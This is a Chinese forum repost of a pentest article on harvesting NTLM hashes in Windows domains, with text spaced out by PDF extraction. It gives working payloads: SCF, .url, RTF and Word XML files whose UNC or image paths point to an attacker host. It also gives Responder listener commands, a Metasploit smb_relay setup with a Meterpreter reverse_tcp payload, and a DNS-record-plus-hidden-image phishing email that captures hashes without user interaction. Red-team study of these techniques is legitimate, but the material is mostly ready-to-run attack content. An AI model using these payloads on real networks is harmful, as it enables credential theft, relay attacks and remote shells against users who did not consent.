搜索

[21739] 2021-03-05_域内窃取哈希一些技术

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2021-03-05_域内窃取哈希一些技术 域 内 窃 取 哈 希 一 些 技 术 L e m o n S e c   2 0 2 1 - 0 3 - 0 5 以 下 文 章 来 源 于 黑 白 天 实 验 室   ， 作 者 黑 白 天 1 . 0 前 言 前 言 在 拿 下 一 台 机 器 后 一 般 都 是 直 接 抓 取 密 码 ， 其 实 我 们 可 以 通 过 一 些 域 内 水 坑 攻 击 了 获 取 更 多 的 哈 希 值 。 2 . 0   S M B 共 享 共 享 –   S C F 文 件 攻 击 文 件 攻 击 S M B 是 一 种 协 议 ， 在 组 织 中 广 泛 用 于 文 件 共 享 。 在 内 网 渗 透 中 ， 我 们 常 常 在 文 件 共 享 中 发 现 包 含 敏 感 信 息 （ 例 如 ， 纯 文 本 密 码 和 数 据 库 连 接 字 符 串 ） 的 文 件 ， 虽 然 文 件 共 享 不 包 含 任 何 可 用 于 连 接 到 其 他 系 统 的 数 据 ， 但 如 果 未 经 身 份 验 证 的 用 户 配 置 了 写 权 限 ， 也 可 能 会 获 得 域 用 户 的 密 码 哈 希 或 M e t e r p r e t e r   S h e l l 。 散 列 哈 希 散 列 哈 希 我 们 可 以 使 用 S C F （ S h e l l 命 令 文 件 ） 文 件 执 行 有 限 的 一 组 操 作 （ 例 如 显 示 W i n d o w s 桌 面 或 打 开 W i n d o w s 资 源 管 理 器 ） 。 但 是 ， 如 果 使 用 S C F 文 件 访 问 特 定 的 U N C 路 径 ， 那 么 我 们 可 以 发 起 攻 击 。 我 们 可 以 所 有 以 下 代 码 保 存 为 . s c f 文 件 然 后 放 进 文 件 共 享 中 。 [ S h e l l ] C o m m a n d = 2 I c o n F i l e = X . X . X . X s h a r e p e n t e s t l a b . i c o [ T a s k b a r ] C o m m a n d = T o g g l e D e s k t o p 我 这 里 使 用 攻 击 机 ： k a l i   1 9 2 . 1 6 8 . 5 0 . 1 4 6 w e b 机 ： 1 9 2 . 1 6 8 . 5 0 . 1 4 8   1 0 . 1 0 . 1 0 . 8 D C ： 1 0 . 1 0 . 1 0 . 1 0 保 存 为 . s c f 文 件 放 在 文 件 共 享 中 黑 白 天 实 验 室 黑 白 天 实 验 室   . 研 究 学 习 一 切 网 络 安 全 相 关 的 技 术
攻 击 机 监 听 ： e s p o n d e r   - w r f   - - l m   - v   - I   e t h 0 不 用 点 击 ， 只 要 访 问 到 文 件 就 能 抓 到 h a s h 当 用 户 浏 览 共 享 时 ， 将 自 动 从 他 的 系 统 建 立 到 S C F 文 件 中 包 含 的 U N C 路 径 的 连 接 。 W i n d o w s 将 尝 试 使 用 用 户 名 和 密 码 对 共 享 进 行 身 份 验 证 。 在 该 身 份 验 证 过 程 中 ， 服 务 器 会 向 客 户 端 发 送 一 个 随 机 的 8 字 节 质 询 密 钥 ， 并 使 用 此 质 询 密 钥 再 次 加 密 散 列 的 N T L M /   L A N M A N 密 码 。 我 们 将 捕 获 N T L M v 2 哈 希 。 除 了 e s p o n d e r 之 外 ， 在 M S F 中 也 有 相 同 的 模 块 可 用 于 捕 获 来 自 S M B 客 户 端 的 挑 战 响 应 密 码 哈 希 。 a u x i l i a r y / s e r v e r / c a p t u r e / s m b
设 置 好 叁 数 后 就 可 以 了 ， 当 用 户 浏 览 相 同 共 享 时 ， M e t a s p l o i t 将 捕 获 其 密 码 哈 希 。 M e t e r p r e t e r   s h e l l 上 面 的 技 术 的 主 要 优 点 是 不 需 要 任 何 用 户 交 互 ， 并 自 动 强 制 用 户 连 接 到 不 存 在 的 共 享 进 行 N T L M v 2 哈 希 进 行 协 商 。 我 们 也 可 以 将 该 技 术 与 S M B 中 继 相 结 合 ， 后 者 提 供 有 效 载 荷 ， 以 便 从 将 访 问 共 享 的 每 个 用 户 那 里 获 取 一 个 M e t e r p r e t e r   s h e l l 。 我 们 使 用 e x p l o i t / w i n d o w s / s m b / s m b _ r e l a y 模 块 e x p l o i t / w i n d o w s / s m b / s m b _ r e l a y s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   x x x x x x x e x p l o i t
将 建 立 一 个 S M B 服 务 器 ， 该 服 务 器 将 通 过 使 用 用 户 名 和 密 码 哈 希 与 目 标 进 行 身 份 验 证 ， 在 可 写 共 享 上 交 付 有 效 负 载 ， 以 用 户 的 权 利 作 为 服 务 执 行 有 效 负 载 ， 执 行 清 理 并 进 行 M e t e r p r e t e r 会 话 。 3 . 0   通 过 超 链 接 通 过 超 链 接 新 建 一 个 w o r d 文 档 ， 然 后 建 立 一 个 超 链 接 1 9 2 . 1 6 8 . 5 0 . 1 4 6 n e w y o r k . e x e 注 意 这 里 指 向 我 们 自 己 的 I P 可 以 加 一 些 迷 惑 性 的 文 字 。 在 k a l i 中 监 听 一 下 r e s p o n d e r   - I   e t h 0
当 目 标 打 开 之 后 就 可 以 获 得 h a s h 我 这 里 获 取 不 到 ， 但 是 我 昨 天 还 是 可 以 的 ， ， ， ， ， 4 . 0   通 过 通 过 U R L c : l i n k . u r l @ v i c t i m [ I n t e r n e t S h o r t c u t ] U R L = w h a t e v e r W o r k i n g D i r e c t o r y = w h a t e v e r I c o n F i l e = 1 0 . 0 . 0 . 5 % U S E R N A M E % . i c o n I c o n I n d e x = 1 保 存 为 . u r l 文 件 上 传 到 目 标 中 在 k a l i 中 监 听 一 下 r e s p o n d e r   - I   e t h 0 然 后 目 标 访 问 到 即 可 拿 到 h a s h
5 . 0 通 过 通 过 . R T F f i l e . r t f { r t f 1 { f i e l d { * f l d i n s t   { I N C L U D E P I C T U R E   " f i l e : / / 1 0 . 0 . 0 . 5 / t e s t . j p g "   *   M E R G E F O R M A T d } } { f l d r s l t } } } 上 传 到 目 标 中 在 k a l i 中 监 听 一 下 r e s p o n d e r   - I   e t h 0 6 . 0   通 过 通 过 . x m l 文 件 文 件 M S   W o r d 文 档 可 以 保 存 为 . x m l 文 件
这 可 以 利 用 其 中 一 个 标 签 请 求 文 档 的 样 式 表 ( 第 3 行 ) 从 攻 击 者 控 制 服 务 器 。 受 害 者 系 统 将 分 享 其 N e t N T L M 散 列 与 攻 击 者 试 图 验 证 攻 击 者 的 系 统 : 7 . 0   通 过 通 过 I n c l u d e P i c t u r e 执 行 执 行 新 建 一 个 W o r d 文 档 , 插 入 一 个 新 的   I n c l u d e P i c t u r e   : 保 存 为 X M L 注 意 要 改 i p 地 址 只 要 目 标 启 动 即 可 拿 到 h a s h
8 . 0   通 过 通 过 H T T P   图 像 和 内 部 图 像 和 内 部 D N S 如 果 我 们 在 网 络 中 立 足 ， 可 以 执 行 以 下 操 作 ： 在 域 内 创 建 一 个 新 的 D N S   A 记 录 （ 任 何 经 过 身 份 验 证 的 用 户 都 可 以 做 到 ） ， 然 后 将 其 指 向 外 部 服 务 器 例 如 o f f e n s e . l o c a l 1 . 1 . 1 . 1 可 以 使 用 P o w e r M a d   h t t p s : / / g i t h u b . c o m / K e v i n - R o b e r t s o n / P o w e r m a d I n v o k e - D N S U p d a t e   - d n s n a m e   v p n   - d n s d a 在 服 务 器 1 . 1 . 1 . 1 上 ， 启 动 并 侦 听 端 口 8 0 上 的 H T T P 连 接 创 建 包 含 以 下 内 容 的 网 络 钓 鱼 电 子 邮 件   随 意 将 图 片 设 为 1 x 1 像 素 或 隐 藏 请 注 意 ， 解 析 为 我 们 的 服 务 器 ， 但 仅 来 自 域 内 部 h t t p : / / v p n . o f f e n s e . l o c a l 1 . 1 . 1 . 1 o f f e n s e . l o c a l 将 网 络 钓 鱼 发 送 到 域 中 的 目 标 用 户 o f f e n s e . l o c a l 网 络 钓 鱼 收 件 人 查 看 电 子 邮 件 ， 该 电 子 邮 件 会 自 动 尝 试 从 中 加 载 图 像 ， 然 后 将 其 解 析 为 （ 端 口 8 0 上 响 应 程 序 变 亮 的 位 置 ） h t t p : / / v p n . o f f e n s e . l o c a l h t t p : / / 1 . 1 . 1 . 1 那 么 我 们 无 需 目 标 用 户 交 互 即 捕 获 N e t N L T M v 2 哈 希 参 考 参 考 h t t p s : / / w w w . i r e d . t e a m / o f f e n s i v e - s e c u r i t y / i n i t i a l - a c c e s s / t 1 1 8 7 - f o r c e d - a u t h e n t i c a t i o n # e x e c u t i o n - v i a - h y p e r l i n k h t t p s : / / w w w . b l e e p i n g c o m p u t e r . c o m / n e w s / s e c u r i t y / y o u - c a n - s t e a l - w i n d o w s - l o g i n - c r e d e n t i a l s - v i a - g o o g l e - c h r o m e - a n d - s c f - f i l e s / h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 1 2 / 1 3 / s m b - s h a r e - s c f - f i l e - a t t a c k s / h t t p s : / / m e d i u m . c o m / @ m a r k m o t i g / a - b e t t e r - w a y - t o - c a p t u r e - h a s h e s - w i t h - n o - u s e r - i n t e r a c t i o n - b y - m a r k m o - b d 1 5 6 9 b f a 2 0 8 h t t p s : / / b o h o p s . c o m / 2 0 1 8 / 0 8 / 0 4 / c a p t u r i n g - n e t n t l m - h a s h e s - w i t h - o f f i c e - d o t - x m l - d o c u m e n t s / h t t p s : / / w w w . s e c u r i f y . n l / b l o g / S F Y 2 0 1 8 0 5 0 1 / l i v i n g - o f f - t h e - l a n d _ - s t e a l i n g - n e t n t l m - h a s h e s . h t m l 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理